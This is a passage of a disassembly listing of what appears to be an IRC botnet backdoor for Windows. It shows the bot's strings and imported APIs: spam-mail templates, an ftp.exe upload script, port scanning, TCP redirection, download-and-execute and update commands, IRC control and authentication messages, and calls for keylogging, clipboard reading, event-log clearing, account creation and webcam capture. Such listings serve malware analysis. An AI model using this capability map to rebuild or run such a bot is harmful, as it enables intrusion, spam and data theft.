XREF: sub_401C87+40A4o asc_439A92 db ' ',0 ; DATA XREF: sub_401C87+40F0o a_: ; DATA XREF: sub_401C87+40F5o unicode 0, <_>,0 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401C87+4191o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 unk_439AE4 db 2Dh ; - ; DATA XREF: sub_401C87+4205o db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401C87+4252o aHcon db 'hcon',0 ; DATA XREF: sub_401C87+4263o align 4 unk_439B18 db 2Dh ; - ; DATA XREF: sub_401C87+42B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 unk_439B54 db 2Dh ; - ; DATA XREF: sub_401C87+4353o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_439B8C db 2Dh ; - ; DATA XREF: sub_401C87+4363o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 10h unk_439BC0 db 2Dh ; - ; DATA XREF: sub_401C87+4393o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401C87+43B9o align 4 unk_439BFC db 2Dh ; - ; DATA XREF: sub_401C87+43E0o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 unk_439C1C db 2Dh ; - ; DATA XREF: sub_401C87+4451o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScan_0 db 'Already %d scanning threads. Too many specified.',0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401C87+44BDo align 4 aAb db 'ab',0 ; DATA XREF: sub_401C87+44CEo align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401C87+44F3o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSS_0 db '-s:%s',0 ; DATA XREF: sub_401C87+4511o align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401C87+4528o aOpen_1 db 'open',0 ; DATA XREF: sub_401C87+452Do align 4 unk_439CAC db 2Dh ; - ; DATA XREF: sub_401C87+4541o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s',0 align 4 unk_439CD4 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4061CFo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s failed.',0 align 4 unk_439D04 db 2Dh ; - ; DATA XREF: sub_401C87+466Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_11 db 'Failed to start scan, port is invalid.',0 align 4 unk_439D38 db 2Dh ; - ; DATA XREF: sub_401C87+46CBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start scan, no IP specified.',0 align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_401C87+4809o align 4 aSequential_0 db 'Sequential',0 ; DATA XREF: sub_401C87+4810o align 10h unk_439D80 db 2Dh ; - ; DATA XREF: sub_401C87+483Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanSta_0 db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_439DE8 db 2Dh ; - ; DATA XREF: sub_401C87+4894o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_13 db 'Failed to start scan thread, error: <%d>.',0 align 10h unk_439E20 db 2Dh ; - ; DATA XREF: sub_401C87+4973o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 10h unk_439E70 db 2Dh ; - ; DATA XREF: sub_401C87+49CCo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_14 db 'Failed to start scan thread, error: <%d>.',0 align 4 dword_439EAC dd 54434101h, 204E4F49h, 17325hdword_439EB8 dd 5D73255Bh, 25202A20h, 73252073h, 0dword_439EC8 dd 5D73255Bh, 73253C20h, 7325203Eh, 0unk_439ED8 db 2Dh ; - ; DATA XREF: sub_401C87+4C58o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 unk_439F14 db 2Dh ; - ; DATA XREF: sub_401C87+4CB1o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_15 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_439F4C db 2Dh ; - ; DATA XREF: sub_401C87+4D53o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_439F88 db 2Dh ; - ; DATA XREF: sub_401C87+4DACo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_439FCC db 2Dh ; - ; DATA XREF: sub_401C87+4E91o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_439FF8 db 2Dh ; - ; DATA XREF: sub_401C87+4EEAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_16 db 'Failed to start transfer thread, error: <%d>.',0 align 4 dword_43A038 dd 234032Dh, 6E6F6C63h, 3027365haCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 dword_43A068 dd 234032Dh, 6E6F6C63h, 3027365haFailedToSta_17 db '- Failed to start clone thread, error: <%d>.',0 align 4 unk_43A0A4 db 2Dh ; - ; DATA XREF: sub_401C87+5011o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 dword_43A0C8 dd 234032Dh, 656C6966h, 2D0302hunk_43A0D4 db 2Dh ; - ; DATA XREF: sub_401C87+50C6o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 unk_43A104 db 2Dh ; - ; DATA XREF: sub_401C87+512Ao db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToSta_18 db 'Failed to start search thread, error: <%d>.',0 unk_43A140 db 2Dh ; - ; DATA XREF: sub_401C87+51DEo db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 dword_43A164 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401C87+51E9o dd 7325203Ah, 0 dword_43A180 dd 73257325h, 6578652Eh, 0dword_43A18C dd 234032Dh, 61647075h, 3026574haDownloadingUpd db '- Downloading update from: %s.',0 align 4 dword_43A1B8 dd 234032Dh, 61647075h, 3026574haFailedToStartD db '- Failed to start download thread, error: <%d>.',0 align 8 dword_43A1F8 dd 234032Dh, 61647075h, 3026574haBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h aPartS db 'PART %s',0 ; DATA XREF: sub_401C87+538Bo aS_26 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+53C4o align 10h aJoinSS_2 db 'JOIN %s %s',0 ; DATA XREF: sub_401C87+53F8o align 4 aS_27 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5431o align 4 aNickS_2 db 'NICK %s',0 ; DATA XREF: sub_401C87+5441o aS_28 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5479o align 4 dword_43A274 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401C87+549Ao dd 203A2973h, 7325h dword_43A290 dd 45444F4Dh, 732520hdword_43A298 dd 0A0D7325h, 0 dword_43A2A0 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401C87+5524o dd 203A2973h, 7325h dword_43A2BC dd 0A0D7325h, 0 dword_43A2C4 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401C87+5592o dd 25203A29h, 73h dword_43A2E0 dd 45444F4Dh, 0D732520h, 0Ahunk_43A2EC db 2Dh ; - ; DATA XREF: sub_401C87+55CBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 a332_2 db '332',0 ; DATA XREF: sub_401C87+55DBo aPartS_0 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+55F2o align 4 aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5621o align 4 dword_43A328 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401C87+562Eo dword_43A33C dd 54434101h, 204E4F49h, 17325hunk_43A348 db 2Dh ; - ; DATA XREF: sub_401C87+569Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 unk_43A364 db 2Dh ; - ; DATA XREF: sub_401C87+56F7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_43A384 db 2Dh ; - ; DATA XREF: sub_401C87+5739o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 aNickS_3 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5794o align 10h unk_43A3B0 db 2Dh ; - ; DATA XREF: sub_401C87+57A8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 asc_43A3D4: ; DATA XREF: sub_401C87+57DBo ; sub_401C87+57F9o unicode 0, <!~> aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5829o align 10h aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401C87+583Do align 4 unk_43A42C db 2Dh ; - ; DATA XREF: sub_401C87+584Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5896o align 10h aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401C87+58AAo align 4 unk_43A4AC db 2Dh ; - ; DATA XREF: sub_401C87+58B9o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 unk_43A4D8 db 2Dh ; - ; DATA XREF: sub_401C87+590Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_43A4F8 db 2Dh ; - ; DATA XREF: sub_401C87+592Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5938o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+594Do align 4 aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5960o align 4 aNotice_2 db 'NOTICE',0 ; DATA XREF: sub_40764A+Fo align 10h aPrivmsg_2 db 'PRIVMSG',0 ; DATA XREF: sub_40764A+16o aS_12 db '%s',0 ; DATA XREF: sub_40764A+3Bo align 4 aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40764A+58o aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4076E5+Ao align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4076E5+23o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4076E5+2Bo align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_4076E5+38o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4076E5+45o align 4 aModule32first db 'Module32First',0 ; DATA XREF: sub_4076E5+52o align 4 aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4076E5+5Fo aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4076E5+6Co aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4076E5+79o align 10h aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4076E5+86o aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4076E5+93o aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4076E5+A0o align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4076E5:loc_4077EDo align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4076E5:loc_40781Ao align 4 aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4076E5+14Ao align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4076E5+152o aIswindow db 'IsWindow',0 ; DATA XREF: sub_4076E5+15Fo align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4076E5+16Co align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4076E5+179o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4076E5+186o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4076E5+193o align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4076E5+1A0o align 10h aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4076E5:loc_4078DDo align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4076E5+200o aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4076E5+20Do align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4076E5+21Ao aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4076E5:loc_407944o align 4 aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4076E5+270o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4076E5+278o aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4076E5+285o align 4 aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4076E5+292o align 4 aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4076E5+29Fo aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4076E5+2ACo aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4076E5+2B9o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4076E5+2C6o align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4076E5:loc_4079F7o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4076E5+31Ao align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4076E5+327o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4076E5:loc_407A3Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4076E5+35Fo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4076E5+36Co align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_4076E5+379o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4076E5+386o align 4 aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4076E5+393o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4076E5+3A0o aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4076E5+3ADo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4076E5:loc_407AEAo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4076E5:loc_407B12o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4076E5+43Eo align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4076E5+446o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4076E5+453o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4076E5+460o align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4076E5+46Do align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4076E5+47Ao align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_4076E5+487o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4076E5+494o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4076E5+4A1o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4076E5+514o align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4076E5+525o align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4076E5+52Do align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4076E5+53Ao align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4076E5+547o align 4 aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4076E5+554o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4076E5+561o aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4076E5+56Eo align 10h aSocket db 'socket',0 ; DATA XREF: sub_4076E5+57Bo align 4 aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4076E5+588o aConnect db 'connect',0 ; DATA XREF: sub_4076E5+595o aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4076E5+5A2o align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4076E5+5AFo align 4 aHtons db 'htons',0 ; DATA XREF: sub_4076E5+5BCo align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_4076E5+5C9o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4076E5+5D6o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_4076E5+5E3o align 4 aSend_0 db 'send',0 ; DATA XREF: sub_4076E5+5F0o align 4 aSendto db 'sendto',0 ; DATA XREF: sub_4076E5+5FDo align 4 aRecv db 'recv',0 ; DATA XREF: sub_4076E5+60Ao align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4076E5+617o align 4 aBind db 'bind',0 ; DATA XREF: sub_4076E5+629o align 10h aSelect db 'select',0 ; DATA XREF: sub_4076E5+631o align 4 aListen db 'listen',0 ; DATA XREF: sub_4076E5+63Eo align 10h aAccept db 'accept',0 ; DATA XREF: sub_4076E5+64Bo align 4 aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4076E5+658o align 4 aGetsockname db 'getsockname',0 ; DATA XREF: sub_4076E5+665o aGethostname db 'gethostname',0 ; DATA XREF: sub_4076E5+672o aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4076E5+67Fo align 4 aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4076E5+68Co align 4 aGetpeername db 'getpeername',0 ; DATA XREF: sub_4076E5+699o aClosesocket db 'closesocket',0 ; DATA XREF: sub_4076E5+6A6o aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4076E5:loc_407EC4o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4076E5+7F0o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4076E5+7F8o aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4076E5+805o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4076E5+812o align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4076E5+81Fo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4076E5+82Co align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4076E5+839o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4076E5+846o align 4 aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4076E5+853o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4076E5+860o aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4076E5+8D2o align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4076E5:loc_407FE4o align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4076E5+90Co align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4076E5+914o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4076E5+921o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4076E5:loc_408043o align 4 aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4076E5+96Fo aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4076E5+977o aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4076E5+984o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4076E5+991o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4076E5+99Eo align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4076E5+9ABo align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4076E5+9B8o align 4 aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4076E5+9C5o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4076E5+9D2o aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4076E5+9DFo align 10h aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4076E5+9ECo align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4076E5+9F9o aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4076E5:loc_40815Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4076E5+A87o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4076E5+A8Fo align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4076E5:loc_4081A9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4076E5+AD1o align 4 aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4076E5+AD9o align 10h aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4076E5:loc_4081F3o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4076E5+B1Bo aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4076E5+B23o aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4076E5+B30o align 4 aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4076E5+B3Do align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4076E5:loc_408267o aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4076E5+B8Fo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4076E5+B97o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4076E5:loc_4082B1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4076E5+BD9o align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4076E5+BE1o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4076E5+BEEo align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4076E5+BFBo align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4076E5+C08o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4076E5+C15o align 4 aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4076E5:loc_40834Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4076E5+C77o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4076E5+C7Fo align 10h aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+28o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+5Co aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+90o align 10h aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+C4o align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+F8o aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+12Co align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+160o align 4 aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+194o align 10h aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+1C8o aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+1FCo align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+230o align 4 aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+264o align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+298o aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+2CCo align 4 unk_43AFCC db 2Dh ; - ; DATA XREF: sub_4083A1+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 a___1: ; DATA XREF: .data:00408701o ; .data:00408719o unicode 0, <..> unk_43AFF0 db 2Dh ; - ; DATA XREF: sub_40879E+43o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 unk_43B01C db 2Dh ; - ; DATA XREF: sub_40879E:loc_4087F7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 10h unk_43B040 db 2Dh ; - ; DATA XREF: sub_40879E+8Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGetting_0 db 'error getting ARP cache: %d',0 unk_43B06C db 2Dh ; - ; DATA XREF: sub_40879E:loc_408831o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_43B09C db 2Dh ; - ; DATA XREF: sub_40879E:loc_408863o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 aD_D_D_D db 